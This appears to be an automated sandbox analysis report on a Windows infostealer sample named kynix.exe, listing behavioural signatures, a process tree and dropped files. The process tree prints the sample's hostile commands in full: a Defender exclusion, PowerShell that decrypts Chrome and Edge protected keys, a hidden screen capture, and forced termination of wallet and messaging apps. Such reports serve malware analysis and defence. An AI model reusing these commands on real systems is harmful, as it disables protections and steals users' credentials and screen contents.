Analysis

  • max time kernel
    150s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/07/2026, 03:49

General

  • Target
    kynix.exe
  • Size 43.2MB
  • Sample260718-edbdzaft7m
  • SHA256 762a4c3e622b245c2158ec072d24883608b30b1ca6f9ccaf187c50df2dfff9d1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops desktop.ini file(s) 6 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 16 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\kynix.exe
    "C:\Users\Admin\AppData\Local\Temp\kynix.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5076
    • C:\Users\Admin\AppData\Local\Temp\kynix.exe
      C:\Users\Admin\AppData\Local\Temp\kynix.exe C:\snapshot\Kynix_Bot\builds\b7fddf42\kynix.js --hidden
      2⤵
      • Drops desktop.ini file(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2360
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5460
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2760
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:4600
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:560
          • C:\Windows\system32\netsh.exe
            netsh advfirewall show allprofiles state
            4⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:5028
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4672
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1736
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1532
          • C:\Windows\system32\reg.exe
            reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
            4⤵
            • Modifies registry key
            PID:4312
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5928
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            4⤵
            • Gathers network information
            PID:4500
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "systeminfo"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4336
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:3828
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1784346583111.vbs""
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3124
          • C:\Windows\system32\cscript.exe
            cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1784346583111.vbs"
            4⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:3308
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "net session"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1764
          • C:\Windows\system32\net.exe
            net session
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2036
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              5⤵
                PID:4296
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1912
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2148
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4540
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Steam.exe /F
              4⤵
              • Kills process with taskkill
              PID:3252
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1960
            • C:\Windows\system32\taskkill.exe
              taskkill /IM javaw.exe /F
              4⤵
              • Kills process with taskkill
              PID:4564
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3568
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Exodus.exe /F
              4⤵
              • Kills process with taskkill
              PID:3196
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1596
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1592
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4252
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:6132
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2372
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4600
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5988
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Telegram.exe /F
              4⤵
              • Kills process with taskkill
              PID:4292

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            yb5koe8bhd.zip

            • Path C:\Users\Admin\AppData\Local\2176f87838745b1d\yb5koe8bhd.zip
            • Size 9.1MB
            • SHA256 aec9d6b1a79ed91535eae45b92cdac6da07f2c476de52e3193c16bd992be51c8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 48221b5ad9d3faca4f8684b6188e393297bc2b4af51e6d025e1cf638e469352b
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_gy1eyktg.40y.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gy1eyktg.40y.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            system_check_1784346583111.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\system_check_1784346583111.vbs
            • Size 216B
            • SHA256 600663b0860f7c0f136c9a9fb273d878feea20ba12222e68742da5ff7d18ccb4
            • MD5 SHA1 SHA512 TLSH

            memory/2148-14-0x0000025517AF0000-0x0000025517B12000-memory.dmp

            memory/2148-17-0x000002552FDA0000-0x000002552FDBE000-memory.dmp

            memory/2148-18-0x000002552FE20000-0x000002552FED2000-memory.dmp

            memory/2148-19-0x000002552FDC0000-0x000002552FDCA000-memory.dmp

            memory/6132-26-0x0000027551D90000-0x0000027551DE0000-memory.dmp